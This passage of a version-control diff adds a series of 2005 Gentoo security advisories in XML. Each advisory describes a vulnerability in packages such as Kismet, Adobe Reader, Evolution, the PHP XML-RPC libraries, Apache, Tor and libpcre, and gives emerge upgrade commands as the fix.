+  <access>remote</access>
+  <affected>
+    <package name="net-wireless/kismet" auto="yes" arch="*">
+      <unaffected range="ge">2005.08.1</unaffected>
+      <vulnerable range="lt">2005.08.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Kismet is an 802.11 Layer 2 wireless network detector, sniffer, and
+    intrusion detection system.
+    </p>
+  </background>
+  <description>
+    <p>
+    Kismet is vulnerable to a heap overflow when handling pcap captures and
+    to an integer underflow in the CDP protocol dissector.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    With a specially crafted packet an attacker could cause Kismet to
+    execute arbitrary code with the rights of the user running the program.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Kismet users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-wireless/kismet-2005.08.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.kismetwireless.net/blog/?entry=/kismet/entry-1124158146.txt">Kismet Release Notes</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2626">CVE-2005-2626</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2627">CVE-2005-2627</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 17 Aug 2005 05:08:47 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 18 Aug 2005 05:16:35 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 18 Aug 2005 07:53:07 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200508-11.xml b/xml/htdocs/security/en/glsa/glsa-200508-11.xml
new file mode 100644
index 00000000..a98a0681
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200508-11.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200508-11">
+  <title>Adobe Reader: Buffer Overflow</title>
+  <synopsis>
+    Adobe Reader is vulnerable to a buffer overflow which could potentially
+    lead to execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">acroread</product>
+  <announced>August 19, 2005</announced>
+  <revised>August 19, 2005: 01</revised>
+  <bug>102730</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/acroread" auto="yes" arch="*">
+      <unaffected range="ge">7.0.1.1</unaffected>
+      <vulnerable range="lt">7.0.1.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Adobe Reader is a utility used to view PDF files.
+    </p>
+  </background>
+  <description>
+    <p>
+    A buffer overflow has been reported within a core application
+    plug-in, which is part of Adobe Reader.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker may create a specially-crafted PDF file, enticing a
+    user to open it. This could trigger a buffer overflow as the file is
+    being loaded, resulting in the execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Adobe Reader users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/acroread-7.0.1.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2470">CAN-2005-2470</uri>
+    <uri link="http://www.adobe.com/support/techdocs/321644.html">Adobe Document 321644</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 16 Aug 2005 23:13:16 +0000">
+    formula7
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 17 Aug 2005 16:19:50 +0000">
+    adir
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 17 Aug 2005 16:52:49 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200508-12.xml b/xml/htdocs/security/en/glsa/glsa-200508-12.xml
new file mode 100644
index 00000000..3fec98bc
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200508-12.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200508-12">
+  <title>Evolution: Format string vulnerabilities</title>
+  <synopsis>
+    Evolution is vulnerable to format string vulnerabilities which may result
+    in remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">evolution</product>
+  <announced>August 23, 2005</announced>
+  <revised>August 23, 2005: 01</revised>
+  <bug>102051</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-client/evolution" auto="yes" arch="*">
+      <unaffected range="ge">2.2.3-r3</unaffected>
+      <vulnerable range="lt">2.2.3-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Evolution is a GNOME groupware application.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ulf Harnhammar discovered that Evolution is vulnerable to format
+    string bugs when viewing attached vCards and when displaying contact
+    information from remote LDAP servers or task list data from remote
+    servers (CAN-2005-2549). He also discovered that Evolution fails to
+    handle special calendar entries if the user switches to the Calendars
+    tab (CAN-2005-2550).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could attach specially crafted vCards to emails or
+    setup malicious LDAP servers or calendar entries which would trigger
+    the format string vulnerabilities when viewed or accessed from
+    Evolution. This could potentially result in the execution of arbitrary
+    code with the rights of the user running Evolution.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Evolution users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/evolution-2.2.3-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2549">CAN-2005-2549</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2550">CAN-2005-2550</uri>
+    <uri link="http://www.sitic.se/eng/advisories_and_recommendations/sa05-001.html">SITIC Vulnerability Advisory SA05-001</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 21 Aug 2005 20:42:02 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 22 Aug 2005 11:14:56 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 23 Aug 2005 07:46:15 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200508-13.xml b/xml/htdocs/security/en/glsa/glsa-200508-13.xml
new file mode 100644
index 00000000..9585761b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200508-13.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200508-13">
+  <title>PEAR XML-RPC, phpxmlrpc: New PHP script injection vulnerability</title>
+  <synopsis>
+    The PEAR XML-RPC and phpxmlrpc libraries allow remote attackers to execute
+    arbitrary PHP script commands.
+  </synopsis>
+  <product type="ebuild">pear-xml_rpc phpxmlrpc</product>
+  <announced>August 24, 2005</announced>
+  <revised>August 24, 2005: 01</revised>
+  <bug>102378</bug>
+  <bug>102576</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-php/PEAR-XML_RPC" auto="yes" arch="*">
+      <unaffected range="ge">1.4.0</unaffected>
+      <vulnerable range="lt">1.4.0</vulnerable>
+    </package>
+    <package name="dev-php/phpxmlrpc" auto="yes" arch="*">
+      <unaffected range="ge">1.2-r1</unaffected>
+      <vulnerable range="lt">1.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The PEAR XML-RPC and phpxmlrpc libraries are both PHP
+    implementations of the XML-RPC protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    Stefan Esser of the Hardened-PHP Project discovered that the PEAR
+    XML-RPC and phpxmlrpc libraries were improperly handling XMLRPC
+    requests and responses with malformed nested tags.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit this vulnerability to inject
+    arbitrary PHP script code into eval() statements by sending a specially
+    crafted XML document to web applications making use of these libraries.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PEAR-XML_RPC users should upgrade to the latest available
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-php/PEAR-XML_RPC-1.4.0&quot;</code>
+    <p>
+    All phpxmlrpc users should upgrade to the latest available
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-php/phpxmlrpc-1.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2498">CAN-2005-2498</uri>
+    <uri link="http://www.hardened-php.net/advisory_142005.66.html">Hardened-PHP 14/2005 Advisory</uri>
+    <uri link="http://www.hardened-php.net/advisory_152005.67.html">Hardened-PHP 15/2005 Advisory</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 23 Aug 2005 08:36:20 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 23 Aug 2005 20:48:36 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200508-14.xml b/xml/htdocs/security/en/glsa/glsa-200508-14.xml
new file mode 100644
index 00000000..ad596c1f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200508-14.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200508-14">
+  <title>TikiWiki, eGroupWare: Arbitrary command execution through XML-RPC</title>
+  <synopsis>
+    TikiWiki and eGroupWare both include PHP XML-RPC code vulnerable to
+    arbitrary command execution.
+  </synopsis>
+  <product type="ebuild">tikiwiki egroupware</product>
+  <announced>August 24, 2005</announced>
+  <revised>August 24, 2005: 01</revised>
+  <bug>102374</bug>
+  <bug>102377</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/tikiwiki" auto="yes" arch="*">
+      <unaffected range="ge">1.8.5-r2</unaffected>
+      <vulnerable range="lt">1.8.5-r2</vulnerable>
+    </package>
+    <package name="www-apps/egroupware" auto="yes" arch="*">
+      <unaffected range="ge">1.0.0.009</unaffected>
+      <vulnerable range="lt">1.0.0.009</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    TikiWiki is a full featured Free Software Wiki, CMS and Groupware
+    written in PHP. eGroupWare is a web-based collaboration software suite.
+    Both TikiWiki and eGroupWare include a PHP library to handle XML-RPC
+    requests.
+    </p>
+  </background>
+  <description>
+    <p>
+    The XML-RPC library shipped in TikiWiki and eGroupWare improperly
+    handles XML-RPC requests and responses with malformed nested tags.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit this vulnerability to inject
+    arbitrary PHP script code into eval() statements by sending a specially
+    crafted XML document to TikiWiki or eGroupWare.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All TikiWiki users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/tikiwiki-1.8.5-r2&quot;</code>
+    <p>
+    All eGroupWare users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/egroupware-1.0.0.009&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2498">CAN-2005-2498</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 22 Aug 2005 20:59:23 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 23 Aug 2005 23:39:36 +0000">
+    adir
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 24 Aug 2005 19:23:08 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200508-15.xml b/xml/htdocs/security/en/glsa/glsa-200508-15.xml
new file mode 100644
index 00000000..9d9a13e3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200508-15.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200508-15">
+  <title>Apache 2.0: Denial of Service vulnerability</title>
+  <synopsis>
+    A bug in Apache may allow a remote attacker to perform a Denial of Service
+    attack.
+  </synopsis>
+  <product type="ebuild">apache</product>
+  <announced>August 25, 2005</announced>
+  <revised>December 30, 2007: 03</revised>
+  <bug>102991</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-servers/apache" auto="yes" arch="*">
+      <unaffected range="ge">2.0.54-r9</unaffected>
+      <unaffected range="lt">2.0</unaffected>
+      <vulnerable range="lt">2.0.54-r9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Apache HTTP Server Project is a featureful, freely-available HTTP
+    (Web) server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Filip Sneppe discovered that Apache improperly handles byterange
+    requests to CGI scripts.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker may access vulnerable scripts in a malicious way,
+    exhausting all RAM and swap space on the server, resulting in a Denial
+    of Service of the Apache server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All apache users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-servers/apache-2.0.54-r9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://issues.apache.org/bugzilla/show_bug.cgi?id=29962">ASF Bugzilla Bug 29962</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2728">CVE-2005-2728</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 22 Aug 2005 07:26:08 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 22 Aug 2005 07:47:26 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 24 Aug 2005 00:58:46 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200508-16.xml b/xml/htdocs/security/en/glsa/glsa-200508-16.xml
new file mode 100644
index 00000000..e7938a1a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200508-16.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200508-16">
+  <title>Tor: Information disclosure</title>
+  <synopsis>
+    A flaw in Tor leads to the disclosure of information and the loss of
+    anonymity, integrity and confidentiality.
+  </synopsis>
+  <product type="ebuild">tor</product>
+  <announced>August 25, 2005</announced>
+  <revised>August 25, 2005: 01</revised>
+  <bug>102245</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/tor" auto="yes" arch="*">
+      <unaffected range="ge">0.1.0.14</unaffected>
+      <vulnerable range="lt">0.1.0.14</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Tor is an implementation of second generation Onion Routing, a
+    connection-oriented anonymizing communication service.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Diffie-Hellman implementation of Tor fails to verify the
+    cryptographic strength of keys which are used during handshakes.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    By setting up a malicious Tor server and enticing users to use
+    this server as first hop, a remote attacker could read and modify all
+    traffic of the user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Tor users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/tor-0.1.0.14&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2643">CAN-2005-2643</uri>
+    <uri link="http://archives.seul.org/or/announce/Aug-2005/msg00002.html">Tor Security Announcement</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 23 Aug 2005 08:23:08 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 23 Aug 2005 09:42:34 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 23 Aug 2005 16:08:44 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200508-17.xml b/xml/htdocs/security/en/glsa/glsa-200508-17.xml
new file mode 100644
index 00000000..7a3ee81c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200508-17.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200508-17">
+  <title>libpcre: Heap integer overflow</title>
+  <synopsis>
+    libpcre is vulnerable to a heap integer overflow, possibly leading to the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">libpcre</product>
+  <announced>August 25, 2005</announced>
+  <revised>August 25, 2005: 01</revised>
+  <bug>103337</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/libpcre" auto="yes" arch="*">
+      <unaffected range="ge">6.3</unaffected>
+      <vulnerable range="lt">6.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libpcre is a library providing functions for Perl-compatible
+    regular expressions.
+    </p>
+  </background>
+  <description>
+    <p>
+    libpcre fails to check certain quantifier values in regular
+    expressions for sane values.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could possibly exploit this vulnerability to execute
+    arbitrary code by sending specially crafted regular expressions to
+    applications making use of the libpcre library.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libpcre users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/libpcre-6.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2491">CAN-2005-2491</uri>
+    <uri link="http://www.securitytracker.com/alerts/2005/Aug/1014744.html">SecurityTracker Alert ID 1014744</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 23 Aug 2005 08:06:54 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 23 Aug 2005 16:35:02 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 23 Aug 2005 19:48:38 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200508-18.xml b/xml/htdocs/security/en/glsa/glsa-200508-18.xml
new file mode 100644
index 00000000..6b0ffbea
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200508-18.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200508-18">
+  <title>PhpWiki: Arbitrary command execution through XML-RPC</title>
+  <synopsis>
+    PhpWiki includes PHP XML-RPC code which is vulnerable to arbitrary command
+    execution.
+  </synopsis>
+  <product type="ebuild">phpwiki</product>
+  <announced>August 26, 2005</announced>
+  <revised>August 26, 2005: 01</revised>
+  <bug>102380</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/phpwiki" auto="yes" arch="*">
+      <unaffected range="ge">1.3.10-r2</unaffected>
+      <vulnerable range="lt">1.3.10-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PhpWiki is an application that creates a web site where anyone can
+    edit the pages through HTML forms.
+    </p>
+  </background>
+  <description>
+    <p>
+    Earlier versions of PhpWiki contain an XML-RPC library that
+    improperly handles XML-RPC requests and responses with malformed nested
+    tags.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit this vulnerability to inject
+    arbitrary PHP script code into eval() statements by sending a specially
+    crafted XML document to PhpWiki.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PhpWiki users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/phpwiki-1.3.10-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2498">CAN-2005-2498</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 25 Aug 2005 08:45:11 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 25 Aug 2005 11:46:47 +0000">
+    adir
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 25 Aug 2005 20:44:22 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200508-19.xml b/xml/htdocs/security/en/glsa/glsa-200508-19.xml
new file mode 100644
index 00000000..35b613e5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200508-19.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200508-19">
+  <title>lm_sensors: Insecure temporary file creation</title>
+  <synopsis>
+    lm_sensors is vulnerable to linking attacks, potentially allowing a local
+    user to overwrite arbitrary files.
+  </synopsis>
+  <product type="ebuild">lm_sensors</product>
+  <announced>August 30, 2005</announced>
+  <revised>August 30, 2005: 01</revised>
+  <bug>103568</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-apps/lm_sensors" auto="yes" arch="*">
+      <unaffected range="ge">2.9.1-r1</unaffected>
+      <vulnerable range="lt">2.9.1-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    lm_sensors is a software package that provides drivers for
+    monitoring the temperatures, voltages, and fans of Linux systems with
+    hardware monitoring devices.
+    </p>
+  </background>
+  <description>
+    <p>
+    Javier Fernandez-Sanguino Pena has discovered that lm_sensors
+    insecurely creates temporary files with predictable filenames when
+    saving configurations.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the temporary file
+    directory, pointing to a valid file somewhere on the filesystem. When
+    the pwmconfig script of lm_sensors is executed, this would result in
+    the file being overwritten with the rights of the user running the
+    script, which typically is the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All lm_sensors users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-apps/lm_sensors-2.9.1-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2672">CAN-2005-2672</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 27 Aug 2005 09:37:19 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 27 Aug 2005 09:38:55 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 27 Aug 2005 22:28:16 +0000">
+    formula7
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200508-20.xml b/xml/htdocs/security/en/glsa/glsa-200508-20.xml
new file mode 100644
index 00000000..85306a91
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200508-20.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200508-20">
+  <title>phpGroupWare: Multiple vulnerabilities</title>
+  <synopsis>
+    phpGroupWare is vulnerable to multiple issues ranging from information
+    disclosure to a potential execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">phpgroupware</product>
+  <announced>August 30, 2005</announced>
+  <revised>August 30, 2005: 01</revised>
+  <bug>102379</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/phpgroupware" auto="yes" arch="*">
+      <unaffected range="ge">0.9.16.008</unaffected>
+      <vulnerable range="lt">0.9.16.008</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    phpGroupWare is a multi-user groupware suite written in PHP.
+    </p>
+  </background>
+  <description>
+    <p>
+    phpGroupWare improperly validates the "mid" parameter retrieved
+    via a forum post. The current version of phpGroupWare also adds several
+    safeguards to prevent XSS issues, and disables the use of a potentially
+    vulnerable XML-RPC library.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker may leverage the XML-RPC vulnerability to
+    execute arbitrary PHP script code. He could also create a specially
+    crafted request that will reveal private posts.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All phpGroupWare users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/phpgroupware-0.9.16.008&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2005-2498">CAN-2005-2498</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2005-2600">CAN-2005-2600</uri>
+    <uri link="http://secunia.com/advisories/16414">Secunia Advisory SA16414</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 28 Aug 2005 18:52:38 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 29 Aug 2005 09:01:02 +0000">
+    adir
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 29 Aug 2005 10:35:27 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200508-21.xml b/xml/htdocs/security/en/glsa/glsa-200508-21.xml
new file mode 100644
index 00000000..fc67d73a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200508-21.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200508-21">
+  <title>phpWebSite: Arbitrary command execution through XML-RPC and SQL injection</title>
+  <synopsis>
+    phpWebSite is vulnerable to multiple issues which result in the execution
+    of arbitrary code and SQL injection.
+  </synopsis>
+  <product type="ebuild">phpwebsite</product>
+  <announced>August 31, 2005</announced>
+  <revised>August 31, 2005: 01</revised>
+  <bug>102785</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/phpwebsite" auto="yes" arch="*">
+      <unaffected range="ge">0.10.2_rc2</unaffected>
+      <vulnerable range="lt">0.10.2_rc2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    phpWebSite is a web site content management system.
+    </p>
+  </background>
+  <description>
+    <p>
+    phpWebSite uses an XML-RPC library that improperly handles XML-RPC
+    requests and responses with malformed nested tags. Furthermore,
+    "matrix_killer" reported that phpWebSite is vulnerable to an SQL
+    injection attack.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A malicious remote user could exploit this vulnerability to inject
+    arbitrary PHP script code into eval() statements by sending a specially
